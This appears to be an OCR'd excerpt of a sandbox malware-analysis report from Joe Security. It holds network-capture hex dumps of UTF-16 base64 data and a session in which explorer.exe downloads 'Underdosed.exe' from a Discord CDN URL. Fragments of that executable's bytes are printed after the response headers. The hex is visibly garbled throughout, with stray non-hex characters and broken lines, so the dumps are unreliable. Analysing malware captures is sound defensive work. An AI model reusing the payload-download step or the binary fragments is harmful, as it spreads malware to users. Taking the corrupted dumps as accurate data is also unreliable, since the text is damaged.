00 51 00 55 00 4a 00 55 00 5a 00 56 00 68 00 4f 00 4d 00 46 00 70 00 58 00 4d 00 48 00 56 00 53 00 53 00 45 00 70 00 6
00 5a 00 44 00 4a 00 73 00 64 00 56 00 70 00 35 00 4e 00 55 00 56 00 6a 00 62 00 55 00 59 00 7a 00 59 00 56 00 63 00
31 00 62 00 6b 00 31 00 72 00 55 00 55 00 46 00 53 00 61 00 31 00 45 00 77 00 55 00 58 00 70 00 6a 00 4d 00 31 00 46
00 36 00 51 00 6b 00 52 00 4f 00 52 00 46 00 46 00 33 00 54 00 6¢ 00
Data Ascii: INVJEbEVRaO0I3UIVVME1qZzFSall3STURSRVFVRKNSamMwTTBINU5qUXhSQUJIUZVhOMFpXMHVSSEpoZ
DJsdVp5NUVjbUYZzYVcelbk1lrUUFSalEwUXpjM1F6QKRORFF3TI

2021-12-01 08:14:.01 UTC 272 IN Data Raw: 00 35 00 64 00 6d 00 4a 00 47 00 54 00 6e 00 42 00 6¢ 00 62 00 56 00 56 00 42 00 56 00 46 00 63 00 35 00 64
0057 00 46 00 59 00 55 00 6e 00 5a 00 6a 00 62 00 45 00 35 00 77 00 5a 00 57 00 31 00 56 00 51 00 57 00 4a 00 74 00
56 00 6a 00 4e 00 56 00 4d 00 6d 00 77 00 32 00 57 00 6¢ 00 46 00 43 00 56 00 46 00 70 00 59 00 53 00 6e 00 42 00 5a
00 56 00 33 00 68 00 77 00 5a 00 57 00 31 00 56 00 51 00 56 00 4a 00 48 00 56 00 6e 00 70 00 61 00 57 00 45 00 70 00
77 00 57 00 56 00 64 00 34 00 63 00 47 00 56 00 74 00 56 00 55 00 46 00 56 00 4d 00 31 00 5a 00 33 00 59 00 30 00 68
00 4b 00 62 00 47 00 4d 00 7a 00 54 00 6b 00 64 00 68 00 56 00 7a 00 56 00 6f 00 59 00 6b 00 64 00 73 00 4e 00 6¢ 00
7000 52 00 51 00 6¢ 00 4e 00 61 00 57 00 45 00 35 00 77 00 5a 00 57 00
Data Ascii: 5dmJGTnBIbVVBVFc5dWFYUnZjbESWZW1VQWJItVINVMmw2WIFCVFpYSnBZV3hwZW1VQVJ
HVnpaWEpwWVd4cGVtVUFVM1Z3Y0hKbGMzTkdhVzVoYkdsNIpRQINaWESwZW

2021-12-01 08:14:01 UTC 288 IN Data Raw: 00 6f 00 61 00 47 00 4a 00 74 00 4e 00 57 00 78 00 69 00 53 00 45 00 31 00 42 00 56 00 54 00 4a 00 4f 00 61
0047 00 4a 00 72 00 57 00 6e 00 42 00 69 00 52 00 33 00 68 00 36 00 51 00 55 00 56 00 34 00 63 00 47 00 4d 00 7a 00
55 00 6¢ 00 42 00 61 00 62 00 45 00 4a 00 35 00 59 00 6a 00 4a 00 6b 00 65 00 56 00 6¢ 00 58 00 4d 00 58 00 70 00 42
00 52 00 6b 00 34 00 31 00 59 00 7a 00 4e 00 53 00 62 00 47 00 4a 00 54 00 4e 00 56 00 68 00 68 00 56 00 7a 00 56 00
72 00 59 00 6a 00 4e 00 6b 00 65 00 6b 00 78 00 72 00 57 00 6e 00 5a 00 6a 00 62 00 54 00 46 00 36 00 51 00 55 00 56
00 6b 00 62 00 47 00 52 00 47 00 55 00 6e 00 5a 00 68 00 4d 00 6¢ 00 5a 00 31 00 59 00 33 00 64 00 43 00 61 00 32 00
49 00 79 00 4d 00 57 00 68 00 68 00 56 00 7a 00 56 00 36 00 51 00 55 00
Data Ascii: 0aGJINWxISE1BVTJOaGJrWnBiR3h6QUV4cGMzUIBabEJ5YjJkeVIXMXpBRk41YzZNSbGJITNVhhVzVrY
jNkekxrWnZjb TF6QUVkbGRGUNZhMIZ1Y3dCa2lyMWhhVzV6QU
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Timestamp transferred Direction Data

2021-12-01 08:14:01 UTC 304 IN Data Raw: 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 00 42 00 52 00 31 00 56 00 42 00 54 00 47 00 64 00 43 00
55 00 30 00 46 00 48 00 56 00 55 00 46 00 5a 00 55 00 55 00 4a 00 72 00 51 00 55 00 46 00 43 00 57 00 6¢ 00 46 00 6e
00 51 00 6b 00 52 00 42 00 52 00 56 00 6¢ 00 42 00 59 00 56 00 46 00 43 00 63 00 30 00 46 00 48 00 56 00 55 00 46 00
4d 00 5a 00 30 00 4a 00 51 00 51 00 55 00 68 00 42 00 51 00 56 00 70 00 52 00 51 00 6e 00 56 00 42 00 53 00 45 00 6¢
00 42 00 5a 00 56 00 46 00 43 00 64 00 30 00 46 00 49 00 55 00 55 00 46 00 53 00 64 00 30 00 4a 00 73 00 51 00 55 00
56 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 00 42 00 52 00 31 00 56 00 42 00 54 00 47 00 64 00 43 00 55 00 45
00 46 00 49 00 51 00 55 00 46 00 61 00 55 00 55 00 4a 00 31 00 51 00 55 00
Data Ascii: ZQWFRQNNBR1VBTGdCUOFHVUFZUUJrQUFCWIFNQKRBRVIBYVFCcOFHVUFMZ0JQQUhBQVp
RQnVBSEIBZVFCAOFIUUFSd0JsQUVZQWFRQNNBR1VBTGACUEFIQUFaUUJ1QU

2021-12-01 08:14:01 UTC 320 IN Data Raw: 00 77 00 51 00 6b 00 56 00 76 00 52 00 45 00 31 00 43 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 30 00
52 00 55 00 46 00 42 00 51 00 56 00 4a 00 52 00 55 00 56 00 56 00 6 00 51 00 56 00 4a 00 47 00 51 00 6b 00 4e 00 42
00 54 00 57 00 64 00 42 00 51 00 57 00 39 00 6a 00 51 00 6 00 64 00 72 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00
46 00 62 00 30 00 52 00 46 00 52 00 47 00 63 00 30 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00 46 00 62 00 30 00 52
00 46 00 52 00 57 00 31 00 33 00 53 00 55 00 56 00 76 00 52 00 45 00 56 00 45 00 61 00 45 00 74 00 42 00 65 00 45 00
46 00 6a 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00 46 00 62 00 30 00 52 00 46 00 52 00 30 00 46 00 6a 00 53 00 45
00 5a 00 53 00 53 00 58 00 52 00 42 00 55 00 6b 00 74 00 42 00 4d 00 45 00
Data Ascii: WQKVVRE1CQUFCQ2cORUFBQVJIRUVVNQVJIGQKNBTWABQWIjQndrVKYpMEJFbORFRGCOVKY
PMEJFbORFRW13SUVVREVEaEtBeEFjVkVpMEJFbORFROF]SEZSSXRBUKIBME

2021-12-01 08:14:01 UTC 336 IN Data Raw: 00 77 00 52 00 6b 00 4e 00 43 00 51 00 55 00 6c 00 44 00 55 00 57 00 74 00 6e 00 51 00 6¢ 00 46 00 72 00 57
00 55 00 52 00 6f 00 4d 00 45 00 5a 00 44 00 51 00 57 00 64 00 50 00 53 00 55 00 46 00 72 00 53 00 6b 00 64 00 43 00
5a 00 30 00 39 00 46 00 51 00 6d 00 64 00 5a 00 51 00 30 00 49 00 77 00 52 00 6b 00 4e 00 42 00 61 00 30 00 64 00 42
00 51 00 55 00 6¢ 00 50 00 53 00 46 00 46 00 56 00 54 00 30 00 4e 00 42 00 51 00 55 00 4e 00 49 00 55 00 56 00 56 00
6b 00 51 00 6¢ 00 49 00 77 00 52 00 6b 00 52 00 70 00 51 00 55 00 5a 00 49 00 55 00 56 00 56 00 6b 00 51 00 6¢ 00 49
00 77 00 52 00 6b 00 68 00 52 00 56 00 57 00 52 00 43 00 55 00 6a 00 42 00 47 00 51 00 6b 00 4e 00 42 00 51 00 6b 00
4e 00 43 00 5a 00 30 00 64 00 4a 00 51 00 55 00 31 00 5a 00 52 00 47 00
Data Ascii: WRkNCQUIDUWnQIFTWUR0MEZDQWdPSUFrSkdCZ09FQmdZQOIWRKNBa0dBQUIPSFFVTON
BQUNIUVVKQIWRKRpQUZIUVVKQIIWRKhRVWRCUjBGQKNBQKNCZ0dJQU1ZRG

2021-12-01 08:14:01 UTC 352 IN Data Raw: 00 46 00 51 00 57 00 4e 00 6e 00 51 00 6d 00 78 00 42 00 52 00 6b 00 46 00 42 00 59 00 32 00 64 00 43 00
64 00 6b 00 46 00 46 00 57 00 55 00 46 00 68 00 55 00 55 00 4a 00 7a 00 51 00 55 00 64 00 56 00 51 00 56 00 56 00 33
00 51 00 6a 00 56 00 42 00 53 00 45 00 31 00 42 00 5a 00 45 00 46 00 43 00 62 00 45 00 46 00 48 00 4d 00 45 00 46 00
61 00 51 00 55 00 49 00 78 00 51 00 55 00 64 00 4e 00 51 00 57 00 52 00 42 00 51 00 6a 00 68 00 42 00 52 00 56 00 6¢
00 42 00 59 00 56 00 46 00 43 00 65 00 55 00 46 00 48 00 56 00 55 00 46 00 53 00 5a 00 30 00 4a 00 77 00 51 00 55 00
64 00 33 00 51 00 56 00 70 00 52 00 51 00 6¢ 00 52 00 42 00 53 00 47 00 74 00 42 00 59 00 33 00 64 00 43 00 4d 00 45
00 46 00 48 00 56 00 55 00 46 00 69 00 55 00 55 00 49 00 7a 00 51 00 55 00
Data Ascii: FQWNnQmxBRKFBY2dCdkFFWUFhUUJzQUdVQVV3QjVBSE1BZEFChEFHMEFaQUIXQUANQWR
BQjhBRVIBYVFCeUFHVUFSZ0JwQUAd3QVpRQIRBSGtBY3dCMEFHVUFiUUIZQU

2021-12-01 08:14:01 UTC 368 IN Data Raw: 00 52 00 51 00 56 00 70 00 6e 00 51 00 55 00 46 00 42 00 53 00 45 00 46 00 42 00 57 00 56 00 46 00 43 00
4d 00 45 00 46 00 48 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 58 00 64 00 52 00 52 00 30 00 4e 00 42
00 5a 00 30 00 46 00 42 00 51 00 55 00 31 00 47 00 51 00 6¢ 00 46 00 46 00 52 00 45 00 46 00 6e 00 56 00 55 00 64 00
42 00 55 00 55 00 6¢ 00 47 00 54 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
Data Ascii: RQVpnQUFBSEFBWVFCMEFHZOFBQUVDQXdRRONBZOFBQU1GQIFFREFNVUdBUUIGTXdBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU

2021-12-01 08:14:01 UTC 384 IN Data Raw: 00 6a 00 62 00 47 00 31 00 50 00 55 00 7a 00 56 00 6¢ 00 57 00 57 00 78 00 68 00 63 00 46 00 46 00 57 00 65
0057 00 56 00 57 00 63 00 43 00 39 00 69 00 61 00 6d 00 56 00 5a 00 4e 00 6d 00 59 00 77 00 64 00 58 00 42 00 61 00
52 00 57 00 56 00 69 00 4e 00 6d 00 52 00 54 00 59 00 6e 00 64 00 50 00 56 00 69 00 39 00 74 00 54 00 56 00 56 00 58
00 62 00 6a 00 55 00 34 00 62 00 45 00 4a 00 73 00 55 00 44 00 52 00 4d 00 65 00 6d 00 6¢ 00 6a 00 4e 00 31 00 49 00
7a 00 54 0043 00 73 00 31 00 56 00 57 00 5a 00 55 00 51 00 79 00 39 00 44 00 57 00 57 00 78 00 36 00 59 00 32 00 6¢
00 72 00 52 00 6¢ 00 4a 00 48 00 63 00 31 00 67 00 72 00 63 00 56 00 6¢ 00 58 00 4b 00 33 00 6b 00 32 00 4e 00 55 00
68 00 6d 00 4f 00 55 00 52 00 6¢ 00 59 00 31 00 6f 00 77 00 65 00 6e 00
Data Ascii: jpG1PUzVIWWxhcFFWeWVWcC9iamVZNmYwdXBaRWVINmMRTYndPVidtTVVXbju4bEJSUDRMemljN1IzT
Cs1VWZUQy9DWWx6Y 2IrRIJHc1greVIXK3k2NUhmOURIY Lowen

Session ID Source IP Source Port Destination IP  Destination Port Process
1 192.168.2.4 49832 162.159.130.233 443 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
2021-12-01 08:15:22 UTC 390 ouT GET /attachments/914960103592054858/914986994759794738/Underdosed.exe HTTP/1.1

Host: cdn.discordapp.com
Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-01 08:15:22 UTC 390

2021-12-01 08:15:22 UTC 391

2021-12-01 08:15:22 UTC 391

2021-12-01 08:15:22 UTC 393

2021-12-01 08:15:22 UTC 394

2021-12-01 08:15:22 UTC 395

2021-12-01 08:15:22 UTC 397

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Date: Wed, 01 Dec 2021 08:15:22 GMT

Content-Type: application/x-msdos-program

Content-Length: 4443648

Connection: close

CF-Ray: 6b6ade07ccla690a-FRA

Accept-Ranges: bytes

Age: 125436

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Underdosed.exe

ETag: "a8b80e8e3832274bb25102006efcd679"

Expires: Thu, 01 Dec 2022 08:15:22 GMT

Last-Modified: Mon, 29 Nov 2021 21:11:39 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1638220299319325

X-goog-hash: crc32c=CQNrcQ==

x-goog-hash: md5=qLgOjjgyJOuyUQIAbvzWeQ==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

X-goog-stored-content-length: 4443648

X-GUploader-UploadID: ADPycduwbstlggM3jl-ir72jxSYKYcT3Z6YJrEXHTEmMKajSq5WdyudK_L2b9dTu4uVAKKOfF-jKATwW
i7hjdkJwc4V_G_OGpZJA

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 48 78 44 38 47 6f 53 44 66 25 32 46 63 62 59 46 25 32 46 72 4f 6b 75 5a 6a 61 55 79 55 78 4f 72 79 7a 79 4d 6d 30 72
34 56 65 38 4f 33 32 44 6¢ 46 6¢ 37 25 32 42 33 58 72 42 50 6¢ 35 58 31 52 33 35 44 31 59 34 72 54 36 61 78 35 52 59
347157 37 31 25 32 46 57 4e 53 42 61 43 6b 4a 76 71 6e 51 53 41 73 30 32 6d 46 51 42 69 48 6b 30 37 66 6a 37 78 73
56 49 30 49 32 72 4d 30 25 32 42 62 39 68 4e 6d 79 7a 73 58 56 4c 6¢ 64 6e 35 41 25 33 44 25 33 44 22 7d 5d 2¢ 22 67
72 6f 75 70 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/v3?s=HxD8GoSDf%2FcbYF%2Fr
OkuZjaUyUxOryzyMmOr4Ve8032DIFI7%2B3XrBPI5X1R35D1Y4rT6ax5RY4qW71%2FWNSBaCkIvgnQSAs02mFQBiHk
07fj7xsVI012rM0%2Bb9hNmyzsXVLIdn5A%3D%3D"}], "group™:“cf-nel”,"max_a

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 b5 41 a5 61 00 00 00 00 00 00 00 00 f0 00 22 00 Ob 02
08 00 00 98 01 00 00 32 42 00 00 00 00 00 00 00 00 00 00 cO 3b 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 44 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00
00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdAa"2B;@ D" @@

Data Raw: 3a 89 89 c4 c4 d9 92 78 82 b7 f5 50 2d ¢3 56 d1 3e ad 09 82 5b dc ee 75 e4 65 e2 be 7f ce 45 90 2d f2 f4 82 dc
14 06 78 60 70 c0 d7 c9 15 ee 1c 6f 09 79 e9 72 3e 26 b7 e3 a9 d8 d4 53 Oe fb b2 a4 f0 26 63 ca af 5a 25 a4 71 f3 6f 7f f3
30 18 da 59 04 d7 a8 76 ae 84 36 3b 95 f7 2c 1e c9 4b e6 60 3d 38 32 10 da 76 5¢ 3d 74 €0 c8 64 91 a2 2e 43 14 f4 57 bc
b3 ce 1f bb 45 58 cf 7c de f0 94 7f 08 bd 35 72 94 c0 78 c4 24 5d 67 27 40 24 e3 c¢7 91 €0 39 96 c8 cd d9 26 81 3¢ 52 7a
89 a0 ce 4c el b6 96 09 b6 bd 0a 7d 17 38 18 29 e3 35 c¢7 9d Oe dd 82 f1 Oa f7 e6 51 fb d7 Oc 23 65 ea 9b e5 2b e5 8d f6
1b 41 1f 49 ff be 24 12 14 5e d6 3e ad cb 07 13 50 b0 87 9b 0a 2d 6d 07 96 c7 6d 01 79 9e 99 8a af 31 ¢9 36 72 ec 90 da
92 el 48 ea 4b 7f 30 7b 15 51 2a b4 12 b6 67 b5 2d

Data Ascii: :xP-V>[ueE-x"poyr>&S&cZ%qo0Yv6;, K =82\=td. CWEX|5rx$]g' @$9&<RzL}8)5Q#e+AlI$">P-mmy16rHKO0{Q*g-

Data Raw: 6d f8 cO 27 ad 14 d3 5e bc 78 fc 8c 60 49 ce 1f 10 10 a7 c8 ef 6a 77 05 24 cb 35 69 b2 76 5e 16 3e €9 32 46 78
Oe c2 89 98 f2 82 a6 0d 87 71 6f 2d 2b 00 09 7c 7f 39 ec c4 f7 79 3e 92 f3 b1 32 81 18 ce cb 1d ae c¢7 10 d8 c4 31 b2 8b
55 bf cf 02 69 29 b0 b0 eb 25 5c d7 ee 64 fe c4 ed 50 e4 db 54 6f 4a d6 ef 36 6b ff ad 8d f4 e2 b6 09 64 f8 16 9b 28 a5 Oc
fa 0a 81 92 d6 69 2e a7 1a 37 69 27 86 €5 9c 20 b5 83 34 90 bf 15 fa 29 87 b9 66 22 2e bb el f0 ff cc 9e ¢5 98 57 ad 1c
56 e7 fb 38 eb 25 9e 4e 87 f2 b9 35 10 19 b6 cd 59 1f ae 39 86 75 bb 4d 5b 1a 69 ed b0 65 75 2d 62 9e 39 5e 4f 22 4e dd
13 c6 0d a9 27 a2 53 b3 74 48 el dc 1d d9 4e 33 80 37 20 16 34 99 f9 da 62 7a ae b3 fb fd 4d 4d 91 6¢ f5 7c a5 ad 45 of
f4 ce bc ¢8 38 cd f9 fb 34 f1 10 09 5¢ 4d d9 1f 1b

Data Ascii: m” X’ [jw$5iv>2Fxqo-+|9y>21Ui)%\dPToJ6kd(i.7i' 4)f".WV8%N5Y9uMieu-b9"O"N'StHN37 4bzMMI|E84\M

Data Raw: df db 83 b5 31 34 74 62 50 15 6d e5 84 67 87 ee 04 07 da 9a 2c 79 5f 4e 50 fa 49 82 79 58 16 8b d5 36 bc ee
e7 ff 72 eb 89 ec c5 09 e6 2d c0 63 47 aa c4 9b 1c b9 3b 74 f0 99 18 33 93 00 1a 6f 5f 73 90 5¢ 8f 59 a7 4d f4 6f 2c 45 e0
Oe a8 67 81 a0 cbh ee 4e 66 1b cd 42 a9 9e a9 39 c0 dd 91 65 4a 2a 5f 44 09 02 61 6b 45 d0 4d a4 4e f9 60 b9 fb e8 01 45
8f b6 65 09 5d €6 00 bd 4d 98 6a a7 67 69 1d 8 fa 49 55 9a a9 d9 9d 81 12 e5 22 ec 1c fb 22 28 c2 b0 1a ce ae 8e 24 ac
59al 1d 8d el 77 93 32 15 89 78 ee bl 4d 31 6e b9 22 a2 2d e5 8a fc aa 2b a4 78 57 Of fd fc 8c e7 27 2a 83 8e 67 c2 02
7ce939f9 61 1c e8 81 63 62 51 a7 02 Oc 10 5 7d Oe 93 31 cb b4 ca 47 33 fe d7 b6 57 d6 9b 15 a8 30 56 36 de ac 81 30
65 5a 08 5b df b0 88 18 d0 66 4e 54 a8 4d b3 03 35 06

Data Ascii: 14tbPmg,y_NPIyX6r-cG;t30_s\YMo,EgNfB9eJ*_DakEMN Ee]MjgilU™($Yw2xM1n"-+xW*g|9achQ}1G3W0
V60eZ[fNTM5

Data Raw: 34 42 a0 ee ae 6b 97 ac 1c 92 fd eb 77 85 9d 48 16 d2 42 42 Oe 7c dd 14 fd 6f fe ec 46 99 77 86 €9 Oa 46 67 €9
78 23 32 1a 4c bd 20 b0 8f af 92 dd Ob 6a 7c 6b {7 f8 07 36 49 5 ff 61 d2 e9 da bd f5 f7 8¢ d3 9d bc 15 58 9e ca d7 8f 2b
8a 88 4e f0 15 ad 72 bb 42 15 64 02 90 77 13 29 95 09 7e 85 65 c7 8a 2d 8a Oe 78 50 8e b1 84 92 b3 78 00 d4 68 6e 30
ab 8f f1 81 4a 4b b5 Ob 88 dc 5b 86 97 35 b4 47 63 8e 72 €3 73 6a 88 37 14 9c d4 5a 3b a8 ae ce 3e bl 75 89 a6 ae c9 f2
9f f6 3d 24 6b 4f 26 b5 9f 60 13 87 21 75 ba 9b 44 7d 6a 80 18 f6 93 16 7c ff 2d 94 f5 15 04 d6 78 75 ea ea 88 93 7e Ob cb
87 ¢6 f0 35 3d d3 6a bb 24 d1 31 d8 b4 0f 0a ec 1c 01 6e 1a 19 03 52 c6 e8 bc 04 6d 3d cc b2 fb 86 b9 0f 5f 24 31 eb 1c f9
9d 7d d7 fa e9 Ob 7c 78 c1 bd 2a 59 68 4b 6d dc

Data Ascii: 4BkwHBB|oFWFgx#2L j|k6laX+NrBdw)~e-xPxhn0JK[5Gcrs|7Z;>u=$kO& luD}j|-xu~5=j$1nRm=_$1}|x*YhKm
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 398 IN Data Raw: Oc da ab 4a df 30 48 24 5f 00 36 93 e8 05 62 a0 c3 08 42 5b fd dd 6d ba ab 50 9e c5 b0 ca b7 85 53 c5 ac c1
6516 78 99 fc 80 73 el a7 dd a3 bb 7d ca ab 4f e4 ba Oc ef ee 7a 16 6b b3 98 09 bd 95 29 eb 92 0a 48 b4 75 Ob 4c 64 be
81 a8 ae a0 be 85 3f 84 02 04 96 ae b0 af 7c 49 61 00 93 4d 42 96 85 46 ec Oa ce 80 47 57 b6 22 6e d2 2e 24 e6 53 96 9c
54 eb 0a 68 61 f8 7f 9b b5 6d 14 8e a0 fa 5f c9 6 6f 32 f9 30 2e 3d a7 30 77 €0 €9 e0 29 6a ee 34 4e 97 6a 11 25 68 bf fa
08 c2 ca 107252 1b a7 3d fc 41 a0 84 ea 43 c4 e6 4f f5 ff 42 e2 2d 4b 92 06 15 7a 45 24 6a 32 ac ab db 38 b5 15 27 ce
80 h9 6¢ 7 98 28 fe 89 02 4f 48 96 f5 5d bb 3a 70 bc da 54 4a 28 fc b1 c4 ea 0f 57 9f 55 00 81 18 4f 6d 41 e0 81 8f a2 f4
45 e3 69 a7 f9 86 ea d3 a6 a9 fO cb 4a 14 b5 6 al
Data Ascii: JOH$_6bB[mPSexs}Ozk)HuLd?|laMBFGW"n.$STham_020.=0w)j4Nj%hrR=ACOB-KzE$j28'|(OH]:pTJ(WUOmMA
EiJ

2021-12-01 08:15:22 UTC 399 IN Data Raw: c5 b0 27 a7 dc 2 ff 70 d1 94 48 75 12 36 44 bc ca 0f 91 8a 73 33 c0 7b c6 1b 57 68 cc f6 40 Oe 36 49 3b 24 ff
37 5 1d 1c be 21 ab fe 0d b7 af 2f f4 52 4d ac 1c b3 46 2f 50 59 4c cf 9c 7d 6b 84 2d 8e 5c b3 d2 45 4f 98 8e 94 e4 38 26
39 c5f3 ad 81 7 6¢c 58 64 €3 32 d4 aa 44 6e 37 6e 94 03 8b ad 4a 6d 6 db 58 95 78 2f cb 7e a8 34 25 e4 9b 15 85 e8 e9
68 1b e2 6f b4 52 72 8d f4 07 c9 91 b1 3a 8c 6b ca 22 b8 90 72 1f 23 ff 3e bd 39 38 99 4d 6b 19 3c 3e d3 e7 65 5f 5¢c 98 7
78 24 4f e9 b5 e2 18 0a 60 1c db a9 4d a9 9d 10 b1 d9 47 cc 9f 95 df d1 12 4e c7 90 51 a0 Oe 6b 4e b3 61 17 f6 b8 6b 4f
e5 66 7d 5d 96 1c 7f b5 a0 24 c2 56 10 e9 2f 07 e5 a9 a0 91 21 79 2d eb 67 7e 42 5¢c 9e 9c 24 8c 6¢ 7a 63 38 a2 20 d8 1f
al 3c 30 5b d3 6b b3 98 9d e2 8b e2 96 c5 7f 23
Data Ascii: 'pHu6Ds3{Wh@61;$7/RMF/PYL}k-\EO8&9IXd2Dn7nImXx/~4%hoRr:k"r#>98Mk<>e_\x$O MGNQkNakOf}]$V
/ly-g~B\$Izc8 <O[k#

2021-12-01 08:15:22 UTC 401 IN Data Raw: fd 25 54 54 8e 37 58 88 b9 45 ef c4 48 fe 18 5e 3c 99 3e 3e 16 5f 28 2c dd 68 c5 1f ab bf 74 ae 60 85 5b fe d7
25 a8 c0 8b e8 9e b1 90 ff c4 d8 65 7c b9 1b 43 1c 1b 17 c1 c9 c5 8d 2a a5 ed 2d 87 9b 70 Ob ca 17 55 5¢ 94 00 70 61 fc
e3 37 8c 73 d4 08 69 0d ce 55 cf ff a3 8e 08 9a ae 21 df c4 bl e3 51 03 43 0Oa 49 b8 dc 1f d4 db 5d fe be cc 95 76 56 60 a4
45 d5 d7 40 13 54 5e 76 38 53 c4 5d d8 d2 ec db cb 24 a8 c6 0f 5b 28 49 {7 de cb 99 6f 62 41 ¢5 7b 08 72 33 9c 20 a6 86
ad 58 ed 27 20 55 7a dd 70 f7 1c 40 bb 43 30 5a ee b1 da 69 50 12 20 ea 7e 9a 23 50 ef 98 b4 32 b8 ca 85 ac 1f 6a 5 63
4e 50 fb c2 9c 65 5e ba 38 20 27 1f ea 7e bf 48 7f 60 54 9a 26 Ob 14 4f 5¢ 2f fO 11 20 d8 06 b4 Ob 9e 48 c4 46 fa 9d 7a 8d
49 ba a2 51 f0 d5 61 3b 02 fO 78 8e 6b 24 cc d3
Data Ascii: % TT7XEH"<>>_(,ht' [%e|C*-pU\pa7siU!QCI]vV E@T"v8S]$[(IobA{r3 X' Uzp@COZiP ~#P2jcNPe"8 '~H T&O\V/
HFzIQa;xk$

2021-12-01 08:15:22 UTC 402 IN Data Raw: aa 4b e3 34 90 c1 89 2f b6 b3 Oc e3 ae 24 27 79 ea 50 da 1d a0 ab 63 71 16 e7 d3 €9 b5 2b 3e 77 10 ea ba d7
€667 1d c7 ee f1 58 29 1d 0d 52 a0 ed d9 26 78 c1 93 ca f9 2f cb ec ac 56 1b 1d 8c db cf b1 00 Ob 92 e6 d2 6f db 54 a2
21 2e af c6 ac 25 ae d5 fa cc 9e 1a c4 05 57 89 09 16 79 8f 72 Oc a3 e0 6d b3 c3 da 45 ee 7d 04 26 2d 3a aa aa 2d a2 b0
440b 19 cc 4e 05 e5 0f d1 17 c6 8e ad d2 3b Oc 5e 79 al 3a a2 78 bf ¢7 79 da 64 a4 73 05 33 d5 fa 7e 12 56 95 61 48 be
7d 94 01 8c 15 aa 5e 22 96 2a cd be 4a d5 23 e0 3e 12 bc 5f ¢8 33 70 85 25 dc eb 55 df 70 22 91 2b fb ¢6 55 42 cc fe 3a
1b 7b c7 58 2f 73 b7 ed 72 7e 98 36 7b 63 2f 62 01 e5 cc 9c 1e b0 ca 01 ee a0 ce 2a 91 84 95 2e 15 21 a4 ff f1 ee 93 08
06 49 13 {7 ec a2 fe 26 1b 90 a2 1e 2b f5 bd 4 db 6¢ fO
Data Ascii: K4/$'yPcg+>wgX)R&x/VoT!.%WyrmE}&-:-DN; y:xyds3~VaH}\"*J#>_3p%Up"+UB:{X/sr~6{c/b*.!1&+|

2021-12-01 08:15:22 UTC 403 IN Data Raw: fc 4d 7e f8 3d dO 6b Oe cc c4 d7 42 e2 Ob d9 75 7a ce f4 ff 6¢ 8e f7 08 85 b3 21 36 98 5d 4b 04 b6 19 72 27 44
e6 1c el de ea b7 de db 58 9e de bd 3c 27 f5 f5 b5 65 cf 2d 9a d4 fe 55 1d 8f e0 94 f0 f6 17 03 e5 2a cb 93 5 8b 4e b7 76
4b 96 ab b4 cf 71 27 b0 ea 1a e3 cc 98 ca 7a e5 6f a4 09 b6 d6 e4 77 87 08 f4 04 fd 6¢ dO ff 44 87 41 bf 48 f1 ce 7e 75 fb
7367 90 e2 ¢4 90 e6 66 9f €3 15 be 3c 3¢ 8a de 00 59 3d €6 14 47 d7 48 5¢c 12 93 f2 72 be b7 5a bc d7 ca d5 8e 91 4e 97
